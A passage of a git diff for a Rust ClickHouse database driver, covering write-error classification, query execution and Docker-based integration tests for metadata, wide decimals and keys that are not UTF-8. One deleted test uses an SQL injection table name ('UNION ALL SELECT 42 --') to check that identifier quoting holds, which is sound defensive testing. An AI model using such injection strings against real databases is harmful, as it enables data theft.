acknowledges_stop(&error) => { + return Err(ledger.interrupted(acknowledged(stop.interrupted(request)), SessionFate::RolledBack)); + } + Err(error) => return Err(ledger.failed(index, error, SessionFate::RolledBack)), + } + } + stop.clear(); + let query_ids: Vec = plan.batch.steps.iter().map(|_| Uuid::new_v4()).collect(); + let mut report = Vec::with_capacity(plan.batch.steps.len()); + for (index, (step, query_id)) in plan.batch.steps.iter().zip(&query_ids).enumerate() { + if request.is_requested() { + return Err(ledger.interrupted(stop.interrupted(request), SessionFate::Discarded)); + } + ledger.attach_token(CommitToken::ClickHouseQuery { + query_ids: query_ids.clone(), + first_unconfirmed: index, + }); + ledger.statement_sending(index); + match execute(&plan.writes, &step.statement, *query_id).await { + Ok(written) => { + ledger.statement_confirmed(index); + report.push(written); + } + Err(error) => { + let mapped = map_error(&error); + return Err(match classify(&error) { + WriteErrorClass::MayHaveApplied => ledger.interrupted(mapped, SessionFate::Discarded), + WriteErrorClass::Refused => ledger.failed(index, mapped, SessionFate::RolledBack), + }); + } + } + } + Ok(WriteReport::new(report)) +} + +/// A stop the server acknowledged reads as a timeout it enforced. +fn acknowledged(interrupted: DriverError) -> DriverError { + match interrupted { + DriverError::Timeout { phase, .. } => DriverError::Timeout { + phase, + server_cancelled: true, + }, + other => other, + } +} + +/// Run one statement to its end and give back the rows it wrote. +/// +/// An INSERT reports its rows in the summary; a mutation reports none, +/// which is not the same as zero rows, so a zero becomes "not known". +async fn execute( + client: &clickhouse::Client, + statement: &Statement, + query_id: Uuid, +) -> Result, ClickHouseError> { + let query = bind_params(client.query_raw(statement.sql()), statement.params()) + .with_setting("query_id", query_id.to_string()); + let mut cursor = query.fetch_bytes(RESULT_FORMAT)?; + while cursor.next().await?.is_some() {} + let written = cursor.summary().and_then(clickhouse::QuerySummary::written_rows); + Ok(written.filter(|rows| *rows > 0)) +} + +async fn count(calls: &CallClient, probe: &Statement) -> Result { + let result = read_table(calls.statement(probe), None).await?; + let value = result + .rows + .first() + .and_then(|row| row.first()) + .ok_or_else(|| DriverError::Protocol("the key probe returned no row".to_owned()))?; + value + .as_exact_u64() + .ok_or_else(|| DriverError::Protocol(format!("the key probe returned {value:?}"))) +} + +#[cfg(test)] +mod tests { + use tablepro_core::meta::TableRef; + use tablepro_core::statement::{GuardedStatement, StatementBuilder}; + use tablepro_core::{ForeignKeyCheck, ForeignKeyMode, WriteKind}; + + use super::*; + + fn statement(sql: &str) -> Statement { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + builder.finish() + } + + fn batch(steps: Vec, foreign_keys: ForeignKeyMode) -> WriteBatch { + WriteBatch::new(WriteKind::RowChanges, TableRef::unqualified("t"), steps, foreign_keys) + } + + #[test] + fn affected_exactly_is_guard_unsupported_without_network() { + let steps = vec![ + GuardedStatement::unguarded(statement("INSERT INTO t VALUES (1)")), + GuardedStatement::affecting_exactly(statement("ALTER TABLE t DELETE WHERE id = 1"), 1), + ]; + + assert_eq!( + precheck(&batch(steps, ForeignKeyMode::Enforced), false), + Err(DriverError::GuardUnsupported { statement_index: 1 }) + ); + } + + #[test] + fn non_sqlite_drivers_reject_suspension() { + let suspended = ForeignKeyMode::SuspendedThenVerified { + checks: vec![ForeignKeyCheck::same_table(TableRef::unqualified("t"))], + }; + + assert!(matches!( + precheck(&batch(Vec::new(), suspended), false), + Err(DriverError::Unsupported { + feature: "foreign key suspension" + }) + )); + assert!(precheck(&batch(Vec::new(), ForeignKeyMode::Enforced), false).is_ok()); + } + + #[test] + fn a_read_only_connection_refuses_before_anything_is_sent() { + assert!(matches!( + precheck(&batch(Vec::new(), ForeignKeyMode::Enforced), true), + Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)) + )); + } +} diff --git a/linux/crates/drivers/clickhouse/src/write_error_class.rs b/linux/crates/drivers/clickhouse/src/write_error_class.rs new file mode 100644 index 0000000000..e01fcbf560 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/write_error_class.rs @@ -0,0 +1,81 @@ +use clickhouse::error::Error as ClickHouseError; + +use crate::errors::{clickhouse_code, code, connect_phase}; + +/// What a failed write statement left behind. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum WriteErrorClass { + /// The server refused it before it changed anything. + Refused, + /// It may have applied, or may still be applying: a mutation keeps + /// running after the request that started it is gone. + MayHaveApplied, +} + +/// Sort a write's failure by whether the statement can have landed. +/// +/// Read from the client's own error rather than the mapped one, because +/// the mapping folds a server timeout into the same timeout a lost +/// response reads as. +pub(crate) fn classify(error: &ClickHouseError) -> WriteErrorClass { + match error { + ClickHouseError::BadResponse(message) => match clickhouse_code(message) { + // Cancelled, timed out, or the mutation wait gave up: the + // statement was accepted, and what it did is not known. + Some( + code::QUERY_WAS_CANCELLED + | code::TIMEOUT_EXCEEDED + | code::UNFINISHED + | code::SOCKET_TIMEOUT + | code::NETWORK_ERROR, + ) => WriteErrorClass::MayHaveApplied, + // A body with no code is a proxy or a dropped response, not + // the server's refusal. + None => WriteErrorClass::MayHaveApplied, + Some(_) => WriteErrorClass::Refused, + }, + // A connection that never opened carried nothing. + ClickHouseError::Network(_) if connect_phase(error) => WriteErrorClass::Refused, + ClickHouseError::Network(_) | ClickHouseError::TimedOut | ClickHouseError::Other(_) => { + WriteErrorClass::MayHaveApplied + } + // Everything else is the client failing to build the request, + // which therefore never reached the server. + _ => WriteErrorClass::Refused, + } +} + +#[cfg(test)] +mod tests { + use std::io; + + use super::*; + + fn server(code: i32) -> ClickHouseError { + ClickHouseError::BadResponse(format!("Code: {code}. DB::Exception: something")) + } + + #[test] + fn unknown_versus_refused_codes() { + for code in [394, 159, 341, 209, 210] { + assert_eq!(classify(&server(code)), WriteErrorClass::MayHaveApplied, "{code}"); + } + for code in [16, 47, 60, 62, 164, 241, 516] { + assert_eq!(classify(&server(code)), WriteErrorClass::Refused, "{code}"); + } + assert_eq!( + classify(&ClickHouseError::Network(Box::new(io::Error::from( + io::ErrorKind::ConnectionReset + )))), + WriteErrorClass::MayHaveApplied + ); + assert_eq!( + classify(&ClickHouseError::BadResponse("502 Bad Gateway".to_owned())), + WriteErrorClass::MayHaveApplied + ); + assert_eq!( + classify(&ClickHouseError::InvalidParams(Box::new(io::Error::other("bad param")))), + WriteErrorClass::Refused + ); + } +} diff --git a/linux/crates/drivers/clickhouse/tests/integration.rs b/linux/crates/drivers/clickhouse/tests/integration.rs deleted file mode 100644 index 6f3896277f..0000000000 --- a/linux/crates/drivers/clickhouse/tests/integration.rs +++ /dev/null @@ -1,380 +0,0 @@ -use drivers_clickhouse::ClickhouseDriver; -use tablepro_core::sql_dialect::{build_full_row_update, build_single_cell_update}; -use tablepro_core::value::Temporal; -use tablepro_core::{ColumnInfo, ConnectOptions, DatabaseDriver, Value}; -use testcontainers::core::wait::HttpWaitStrategy; -use testcontainers::core::{IntoContainerPort, WaitFor}; -use testcontainers::runners::AsyncRunner; -use testcontainers::{ContainerAsync, GenericImage, ImageExt, TestcontainersError}; - -async fn start_clickhouse() -> Result<(ContainerAsync, ConnectOptions), TestcontainersError> { - let container = GenericImage::new("clickhouse/clickhouse-server", "24.8") - .with_exposed_port(8123.tcp()) - .with_wait_for(WaitFor::http( - HttpWaitStrategy::new("/ping") - .with_port(8123.tcp()) - .with_expected_status_code(200u16), - )) - .with_env_var("CLICKHOUSE_USER", "default") - .with_env_var("CLICKHOUSE_PASSWORD", "tablepro") - .with_env_var("CLICKHOUSE_DB", "default") - .with_env_var("CLICKHOUSE_DEFAULT_ACCESS_MANAGEMENT", "1") - .start() - .await?; - let host = container.get_host().await?.to_string(); - let port = container.get_host_port_ipv4(8123).await?; - let opts = ConnectOptions { - host, - port, - database: "default".into(), - username: "default".into(), - password: secrecy::SecretString::new("tablepro".to_string().into()), - use_tls: false, - ..Default::default() - }; - Ok((container, opts)) -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn hostile_table_name_is_browsed_as_data() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - let name = r"t\` UNION ALL SELECT 42 --"; - let quoted = tablepro_core::sql_dialect::quote_ident("clickhouse", name); - conn.execute(&format!( - "CREATE TABLE {quoted} (id UInt64) ENGINE = MergeTree ORDER BY id" - )) - .await - .unwrap(); - conn.execute(&format!("INSERT INTO {quoted} VALUES (1)")).await.unwrap(); - - let result = conn.fetch_rows(None, name, 0, 100).await.unwrap(); - assert_eq!(result.rows.len(), 1, "only the table's own row may come back"); - assert_ne!(result.rows[0][0], Value::Int(42)); - assert_ne!(result.rows[0][0], Value::Text("42".into())); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn connect_list_tables_and_pk_detection() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE pk_demo ( - id UInt64, - name String, - note Nullable(String) - ) ENGINE = MergeTree - ORDER BY id", - ) - .await - .unwrap(); - conn.execute("INSERT INTO pk_demo (id, name, note) VALUES (1, 'a', NULL), (2, 'b', 'second')") - .await - .unwrap(); - - let tables = conn.list_tables().await.unwrap(); - assert!(tables.iter().any(|t| t.name == "pk_demo")); - - let cols = conn.fetch_columns(None, "pk_demo").await.unwrap(); - assert_eq!(cols.len(), 3); - let id_col = cols.iter().find(|c| c.name == "id").unwrap(); - assert!(id_col.primary_key, "ORDER BY key must be detected as primary_key"); - assert!(!id_col.nullable); - let note_col = cols.iter().find(|c| c.name == "note").unwrap(); - assert!(!note_col.primary_key); - assert!(note_col.nullable); - - // A MergeTree sorting key allows duplicates, so the index must not - // claim uniqueness the engine does not enforce. - let indexes = conn.fetch_indexes(None, "pk_demo").await.unwrap(); - assert_eq!(indexes.len(), 1); - assert_eq!(indexes[0].columns, vec!["id".to_string()]); - assert!(indexes[0].primary); - assert!(!indexes[0].unique); - - let result = conn.fetch_rows(None, "pk_demo", 0, 100).await.unwrap(); - assert_eq!(result.rows.len(), 2); - assert!(!result.truncated); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn views_appear_in_the_table_list() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE base (id UInt64) ENGINE = MergeTree ORDER BY id") - .await - .unwrap(); - conn.execute("CREATE VIEW base_view AS SELECT id FROM base") - .await - .unwrap(); - - let tables = conn.list_tables().await.unwrap(); - assert!(tables.iter().any(|t| t.name == "base")); - assert!( - tables.iter().any(|t| t.name == "base_view"), - "views must be listed alongside tables" - ); -} - -/// The inline-edit Save path renders its UPDATE through -/// `sql_dialect`, which has to emit `ALTER TABLE … UPDATE` for -/// ClickHouse. A plain `UPDATE` is a syntax error before 25.7, so this -/// covers the dialect and the driver's bind path together. -#[tokio::test] -#[ignore = "requires docker"] -async fn inline_edit_update_applies() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE edits (id UInt64, name String) ENGINE = MergeTree ORDER BY id") - .await - .unwrap(); - conn.execute("INSERT INTO edits VALUES (1, 'before'), (2, 'other')") - .await - .unwrap(); - - let columns = conn.fetch_columns(None, "edits").await.unwrap(); - let original = vec![Value::Int(1), Value::Text("before".into())]; - let (sql, params) = build_single_cell_update( - "clickhouse", - "edits", - &columns, - &original, - 1, - Value::Text("after".into()), - ) - .unwrap(); - assert!(sql.starts_with("ALTER TABLE"), "unexpected dialect: {sql}"); - conn.execute_in_transaction(&[(sql, params)]).await.unwrap(); - - let result = conn.query("SELECT name FROM edits ORDER BY id").await.unwrap(); - assert_eq!(result.rows[0][0], Value::Text("after".into())); - assert_eq!(result.rows[1][0], Value::Text("other".into())); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn full_row_update_applies() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE rows_edit (id UInt64, a String, b Int64) ENGINE = MergeTree ORDER BY id") - .await - .unwrap(); - conn.execute("INSERT INTO rows_edit VALUES (1, 'x', 10)").await.unwrap(); - - let columns: Vec = conn.fetch_columns(None, "rows_edit").await.unwrap(); - let original = vec![Value::Int(1), Value::Text("x".into()), Value::Int(10)]; - let new_values = vec![Value::Int(1), Value::Text("y".into()), Value::Int(20)]; - let (sql, params) = build_full_row_update("clickhouse", "rows_edit", &columns, &original, &new_values).unwrap(); - conn.execute_in_transaction(&[(sql, params)]).await.unwrap(); - - let result = conn.query("SELECT a, b FROM rows_edit WHERE id = 1").await.unwrap(); - assert_eq!(result.rows[0][0], Value::Text("y".into())); - assert_eq!(result.rows[0][1], Value::Int(20)); -} - -/// A row whose text contains an apostrophe and a `?` would corrupt the -/// bind pass if the scanner walked the SQL blind. -#[tokio::test] -#[ignore = "requires docker"] -async fn literals_with_quotes_and_placeholders_round_trip() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE quoting (id UInt64, note String) ENGINE = MergeTree ORDER BY id") - .await - .unwrap(); - let tricky = "it's a ? and a $1 \\ backslash"; - conn.execute_params( - "INSERT INTO quoting (id, note) VALUES (?, ?)", - &[Value::Int(1), Value::Text(tricky.into())], - ) - .await - .unwrap(); - - let result = conn - .query_params("SELECT note FROM quoting WHERE id = ?", &[Value::Int(1)]) - .await - .unwrap(); - assert_eq!(result.rows[0][0], Value::Text(tricky.into())); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn parameterised_types_decode_to_typed_values() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE typed ( - id UInt64, - price Decimal(9, 2), - stamp DateTime64(3), - label LowCardinality(Nullable(String)) - ) ENGINE = MergeTree - ORDER BY id", - ) - .await - .unwrap(); - conn.execute("INSERT INTO typed VALUES (1, 12.34, '2024-06-15 08:30:00.123', 'tag')") - .await - .unwrap(); - - let cols = conn.fetch_columns(None, "typed").await.unwrap(); - let label = cols.iter().find(|c| c.name == "label").unwrap(); - assert!(label.nullable, "LowCardinality(Nullable(T)) must read as nullable"); - - let result = conn.query("SELECT price, stamp, label FROM typed").await.unwrap(); - assert_eq!(result.rows[0][0], Value::Decimal("12.34".parse().unwrap())); - assert!( - matches!(result.rows[0][1], Value::Timestamp(Temporal::Finite(_))), - "DateTime64(3) decoded as {:?}", - result.rows[0][1] - ); - assert_eq!(result.rows[0][2], Value::Text("tag".into())); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn value_roundtrip_common_types() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE roundtrip ( - id UInt64, - b Bool, - i64 Int64, - f64 Float64, - t String, - d Date, - nullable_text Nullable(String) - ) ENGINE = MergeTree - ORDER BY id", - ) - .await - .unwrap(); - - conn.execute_params( - "INSERT INTO roundtrip (id, b, i64, f64, t, d, nullable_text) VALUES (?, ?, ?, ?, ?, ?, ?)", - &[ - Value::Int(1), - Value::Bool(true), - Value::Int(42), - Value::Float64(1.5), - Value::Text("hello".into()), - Value::Date(Temporal::Finite(chrono::NaiveDate::from_ymd_opt(2024, 6, 15).unwrap())), - Value::Null, - ], - ) - .await - .unwrap(); - - let result = conn - .query("SELECT id, b, i64, f64, t, d, nullable_text FROM roundtrip WHERE id = 1") - .await - .unwrap(); - assert_eq!(result.rows.len(), 1); - let row = &result.rows[0]; - assert_eq!(row[0], Value::Int(1)); - assert_eq!(row[1], Value::Bool(true)); - assert_eq!(row[2], Value::Int(42)); - assert!(matches!(row[3], Value::Float64(f) if (f - 1.5).abs() < 1e-9)); - assert_eq!(row[4], Value::Text("hello".into())); - assert_eq!( - row[5], - Value::Date(Temporal::Finite(chrono::NaiveDate::from_ymd_opt(2024, 6, 15).unwrap())) - ); - assert_eq!(row[6], Value::Null); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn pagination_and_truncated_flag() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - conn.execute("CREATE TABLE n (i UInt64) ENGINE = MergeTree ORDER BY i") - .await - .unwrap(); - conn.execute("INSERT INTO n SELECT number + 1 FROM numbers(10)") - .await - .unwrap(); - - // ClickHouse applies OFFSET after the sort key, so rows 6..8 are - // the deterministic third page of three. - let page = conn.fetch_rows(None, "n", 5, 3).await.unwrap(); - assert_eq!(page.rows.len(), 3); - assert_eq!(page.rows[0][0], Value::Int(6)); - assert_eq!(page.rows[2][0], Value::Int(8)); - // A page carries its own LIMIT, so the server never sends a row past - // it and the cap has nothing to cut. Same as the sqlx drivers: - // `truncated` describes the row cap, not the page window. - assert!(!page.truncated); - - let last = conn.fetch_rows(None, "n", 8, 3).await.unwrap(); - assert_eq!(last.rows.len(), 2); - assert!(!last.truncated); -} - -/// `MAX_QUERY_ROWS` bounds an arbitrary `query`; the flag has to fire -/// on the row past the cap, not on a result that merely fills it. -#[tokio::test] -#[ignore = "requires docker"] -async fn query_truncates_at_the_row_cap() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - let cap = tablepro_core::MAX_QUERY_ROWS; - let exact = conn.query(&format!("SELECT number FROM numbers({cap})")).await.unwrap(); - assert_eq!(exact.rows.len(), cap); - assert!(!exact.truncated, "a result of exactly the cap is complete"); - - let over = conn - .query(&format!("SELECT number FROM numbers({})", cap + 1)) - .await - .unwrap(); - assert_eq!(over.rows.len(), cap); - assert!(over.truncated); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn bad_sql_returns_query_error() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - let err = conn - .query("SELECT * FROM definitely_missing_table_xyz") - .await - .unwrap_err(); - assert!(matches!(err, tablepro_core::DriverError::Server(_)), "got {err:?}"); -} - -#[tokio::test] -#[ignore = "requires docker"] -async fn column_comments_are_read_back() { - let (_c, opts) = start_clickhouse().await.unwrap(); - let conn = ClickhouseDriver.connect(opts).await.unwrap(); - - conn.execute( - "CREATE TABLE comment_demo ( - id UInt32, - email String COMMENT 'primary contact' - ) ENGINE = MergeTree ORDER BY id", - ) - .await - .unwrap(); - - let cols = conn.fetch_columns(None, "comment_demo").await.unwrap(); - let comment = |name: &str| cols.iter().find(|c| c.name == name).unwrap().comment.clone(); - assert_eq!(comment("email").as_deref(), Some("primary contact")); - // ClickHouse stores the empty string for an undescribed column. - assert_eq!(comment("id"), None); -} diff --git a/linux/crates/drivers/clickhouse/tests/integration/conformance_engine.rs b/linux/crates/drivers/clickhouse/tests/integration/conformance_engine.rs new file mode 100644 index 0000000000..43e99625b5 --- /dev/null +++ b/linux/crates/drivers/clickhouse/tests/integration/conformance_engine.rs @@ -0,0 +1,134 @@ +//! The connection conformance suite against ClickHouse. + +use std::sync::Arc; +use std::time::Duration; + +use async_trait::async_trait; +use drivers_clickhouse::ClickhouseDriver; +use tablepro_core::{ + ConnectOptions, DatabaseDriver, LivenessPolicy, NetworkEndpoint, TableRef, TlsConfig, WorkspaceSettings, +}; +use tablepro_test_fixtures::ClickHouseFixture; +use tablepro_test_support::FaultTransport; +use tablepro_test_support::conformance::{ + ConformanceEngine, ConformanceFailure, NetworkConformanceEngine, TypedConformanceEngine, UnsupportedTypeCase, +}; + +use crate::support::{DATABASE, direct, options_over, password, quoted}; + +pub struct ClickHouseEngine { + fixture: ClickHouseFixture, +} + +/// A read of `rows` rows that takes a tenth of a second per row. One row +/// per block, so the server notices a KILL between rows. +fn sleeping_rows(marker: &str, rows: u64) -> String { + format!("SELECT sleepEachRow(0.1), '{marker}' FROM numbers({rows}) SETTINGS max_block_size = 1") +} + +#[async_trait] +impl ConformanceEngine for ClickHouseEngine { + fn driver() -> Arc { + Arc::new(ClickhouseDriver) + } + + async fn start() -> Result { + let fixture = ClickHouseFixture::start().await.map_err(ConformanceFailure::setup)?; + Ok(Self { fixture }) + } + + fn connect_options(&self, settings: WorkspaceSettings, liveness: LivenessPolicy) -> ConnectOptions { + options_over( + direct(self.fixture.host(), self.fixture.http_port(), &liveness), + password(&self.fixture.password_credentials()), + TlsConfig::disabled(), + settings, + liveness, + ) + } + + fn scratch_table(&self, name: &str) -> TableRef { + TableRef::new(Some(DATABASE.to_owned()), name) + } + + fn create_scratch_table_sql(&self, table: &TableRef) -> String { + format!( + "CREATE TABLE {}.{} (id Int32, label String) ENGINE = MergeTree ORDER BY id", + quoted(DATABASE), + quoted(&table.name) + ) + } + + fn unbounded_statement_sql(&self, marker: &str) -> String { + sleeping_rows(marker, 100_000_000) + } + + async fn blocking_statement_sql(&self, marker: &str, hold: Duration) -> Result { + Ok(sleeping_rows(marker, hold.as_secs() * 10)) + } + + fn row_source_sql(&self, rows: u64) -> String { + format!("SELECT number FROM numbers({rows})") + } +} + +#[async_trait] +impl NetworkConformanceEngine for ClickHouseEngine { + async fn faulty_connect_options( + &self, + settings: WorkspaceSettings, + liveness: LivenessPolicy, + ) -> Result<(ConnectOptions, Arc), ConformanceFailure> { + let endpoint = + NetworkEndpoint::new(self.fixture.host(), self.fixture.http_port()).map_err(ConformanceFailure::setup)?; + let fault = Arc::new(FaultTransport::direct(endpoint, &liveness).map_err(ConformanceFailure::setup)?); + let options = options_over( + fault.clone(), + password(&self.fixture.password_credentials()), + TlsConfig::disabled(), + settings, + liveness, + ); + Ok((options, fault)) + } + + fn running_statement_count_sql(&self, marker: &str) -> String { + format!( + "SELECT count() FROM system.processes \ + WHERE query LIKE '%{marker}%' AND query NOT LIKE '%system.processes%'" + ) + } +} + +impl TypedConformanceEngine for ClickHouseEngine { + fn unsupported_type_cases(&self) -> Vec { + let case = |declaration: &str, value: &str| UnsupportedTypeCase { + setup_sql: Vec::new(), + declaration: declaration.to_owned(), + insert_value_sql: value.to_owned(), + }; + vec![ + case("COLUMN v Map(String, UInt8)", "map('a', 1)"), + case("COLUMN v Tuple(UInt8, String)", "(1, 'x')"), + case("COLUMN v Variant(String, UInt64)", "'x'"), + case("COLUMN v Dynamic", "42"), + case("COLUMN v JSON", "'{\"a\": 1}'"), + case("COLUMN v Point", "(1, 2)"), + case("COLUMN v IPv6", "'::1'"), + ] + } +} + +mod suite { + use super::ClickHouseEngine; + + tablepro_test_support::connection_conformance_suite! { + engine: ClickHouseEngine, + docker: true, + endpoint: network, + pool: unbounded, + editor_transactions: false, + unsupported_types: true, + bounded_ddl: false, + } +} diff --git a/linux/crates/drivers/clickhouse/tests/integration/keys_and_decimals.rs b/linux/crates/drivers/clickhouse/tests/integration/keys_and_decimals.rs new file mode 100644 index 0000000000..9c6141dd59 --- /dev/null +++ b/linux/crates/drivers/clickhouse/tests/integration/keys_and_decimals.rs @@ -0,0 +1,197 @@ +//! Values that only survive a round trip when every digit and byte is +//! kept: wide numbers, sub-second keys and keys that are not UTF-8. + +use tablepro_core::save::{ChangeSet, RowUpdate}; +use tablepro_core::value::{SqlDecimal, Temporal}; +use tablepro_core::{Connection, Value}; + +use crate::support::{CALL, connect, count, planned, quoted, rows, setup, start, table, unique, within}; + +async fn edit(connection: &dyn Connection, name: &str, key: Vec, column: usize, value: Value) { + let changes = ChangeSet { + updates: vec![RowUpdate { + key, + assignments: vec![(column, value)], + }], + ..ChangeSet::default() + }; + let batch = planned(connection, &table(name), &changes).await; + connection + .write_batch(&batch, within(CALL)) + .await + .expect("the planned edit"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn datetime64_3_utc_sorting_key_edit_affects_exactly_one_row() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("stamps"); + let qualified = quoted(&name); + setup( + connection.as_ref(), + &[ + &format!("CREATE TABLE {qualified} (ts DateTime64(3, 'UTC'), v String) ENGINE = MergeTree ORDER BY ts"), + &format!( + "INSERT INTO {qualified} VALUES ('2024-06-15 08:30:00.000', 'c'), \ + ('2024-06-15 08:30:00.123', 'a'), ('2024-06-15 08:30:00.124', 'b')" + ), + ], + ) + .await; + + let read = rows( + connection.as_ref(), + &format!("SELECT ts, v FROM {qualified} ORDER BY ts"), + ) + .await; + let key = read[1][0].clone(); + let expected = chrono::NaiveDate::from_ymd_opt(2024, 6, 15) + .and_then(|date| date.and_hms_milli_opt(8, 30, 0, 123)) + .expect("a timestamp"); + assert_eq!(key, Value::Timestamp(Temporal::Finite(expected))); + edit( + connection.as_ref(), + &name, + vec![key], + 1, + Value::Text("changed".to_owned()), + ) + .await; + + let changed = rows( + connection.as_ref(), + &format!("SELECT toString(ts) FROM {qualified} WHERE v = 'changed'"), + ) + .await; + assert_eq!(changed, vec![vec![Value::Text("2024-06-15 08:30:00.123".to_owned())]]); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn decimal_76_20_exact() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("decimals"); + let qualified = quoted(&name); + let widest = "12345678901234567890123456789012345678901234567890123456.12345678901234567890"; + setup( + connection.as_ref(), + &[ + &format!("CREATE TABLE {qualified} (id Int32, d Decimal(76, 20)) ENGINE = MergeTree ORDER BY id"), + &format!("INSERT INTO {qualified} VALUES (1, toDecimal256('{widest}', 20))"), + ], + ) + .await; + + let read = rows(connection.as_ref(), &format!("SELECT d FROM {qualified}")).await; + assert_eq!(read[0][0], Value::Decimal(widest.parse().expect("a decimal"))); + + let replacement: SqlDecimal = "-99999999999999999999999999999999999999999999999999999999.00000000000000000001" + .parse() + .expect("a decimal"); + edit( + connection.as_ref(), + &name, + vec![Value::Int(1)], + 1, + Value::Decimal(replacement.clone()), + ) + .await; + + let read = rows(connection.as_ref(), &format!("SELECT d FROM {qualified}")).await; + assert_eq!(read[0][0], Value::Decimal(replacement)); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn uint64_max_int256_float32_nan() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("wide"); + let qualified = quoted(&name); + let lowest = "-57896044618658097711785492504343953926634992332820282019728792003956564819968"; + setup( + connection.as_ref(), + &[ + &format!( + "CREATE TABLE {qualified} (id Int32, u UInt64, w Int256, f Float32) ENGINE = MergeTree ORDER BY id" + ), + &format!("INSERT INTO {qualified} VALUES (1, 18446744073709551615, {lowest}, nan)"), + ], + ) + .await; + + let read = rows(connection.as_ref(), &format!("SELECT u, w, f FROM {qualified}")).await; + assert_eq!(read[0][0], Value::UInt(u64::MAX)); + assert_eq!(read[0][1], Value::WideInt(lowest.parse().expect("an Int256"))); + assert!( + matches!(read[0][2], Value::Float32(nan) if nan.is_nan()), + "{:?}", + read[0][2] + ); + + edit( + connection.as_ref(), + &name, + vec![Value::Int(1)], + 1, + Value::UInt(u64::MAX - 1), + ) + .await; + edit( + connection.as_ref(), + &name, + vec![Value::Int(1)], + 3, + Value::Float32(f32::INFINITY), + ) + .await; + + let read = rows(connection.as_ref(), &format!("SELECT u, f FROM {qualified}")).await; + assert_eq!(read[0][0], Value::UInt(u64::MAX - 1)); + assert_eq!(read[0][1], Value::Float32(f32::INFINITY)); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn invalid_utf8_string_key_row_editable_via_unhex() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("bytes"); + let qualified = quoted(&name); + setup( + connection.as_ref(), + &[ + &format!("CREATE TABLE {qualified} (k String, v String) ENGINE = MergeTree ORDER BY k"), + &format!("INSERT INTO {qualified} VALUES (unhex('ff41'), 'old'), ('A', 'other')"), + ], + ) + .await; + + let read = rows(connection.as_ref(), &format!("SELECT k, v FROM {qualified} ORDER BY k")).await; + let key = read + .iter() + .map(|row| row[0].clone()) + .find(|key| matches!(key, Value::Bytes(_))) + .expect("the key that is not UTF-8"); + assert_eq!(key, Value::Bytes(vec![0xff, 0x41])); + edit(connection.as_ref(), &name, vec![key], 1, Value::Text("new".to_owned())).await; + + let edited = count( + connection.as_ref(), + &format!("SELECT count() FROM {qualified} WHERE k = unhex('ff41') AND v = 'new'"), + ) + .await; + let untouched = count( + connection.as_ref(), + &format!("SELECT count() FROM {qualified} WHERE k = 'A' AND v = 'other'"), + ) + .await; + assert_eq!((edited, untouched), (1, 1)); + connection.close().await.expect("a close"); +} diff --git a/linux/crates/drivers/clickhouse/tests/integration/main.rs b/linux/crates/drivers/clickhouse/tests/integration/main.rs new file mode 100644 index 0000000000..2688ed0392 --- /dev/null +++ b/linux/crates/drivers/clickhouse/tests/integration/main.rs @@ -0,0 +1,15 @@ +//! ClickHouse against real servers. Every test that needs one starts +//! its own container and is ignored without Docker. + +#![expect( + clippy::expect_used, + reason = "the setup helpers fail a test the way the test functions themselves do" +)] + +mod conformance_engine; +mod keys_and_decimals; +mod metadata; +mod sessions; +mod support; +mod tls; +mod writes; diff --git a/linux/crates/drivers/clickhouse/tests/integration/metadata.rs b/linux/crates/drivers/clickhouse/tests/integration/metadata.rs new file mode 100644 index 0000000000..a3db1359c2 --- /dev/null +++ b/linux/crates/drivers/clickhouse/tests/integration/metadata.rs @@ -0,0 +1,260 @@ +//! What the catalogue says, and SQL the dialect builds against it. + +use tablepro_core::column::{ColumnKind, TemporalZone, TextLength}; +use tablepro_core::meta::{IndexKey, ObjectKind, ObjectScope, RowCountEstimate, RowIdentity}; +use tablepro_core::statement::StatementBuilder; +use tablepro_core::{Connection, FilterOp, FilterRule, FilterSet, FilterValue, RowLimit, Value, build_filter}; + +use crate::support::{CALL, DATABASE, connect, quoted, setup, start, table, unique, within}; + +async fn matching(connection: &dyn Connection, name: &str, rule: FilterRule) -> Vec { + let table = table(name); + 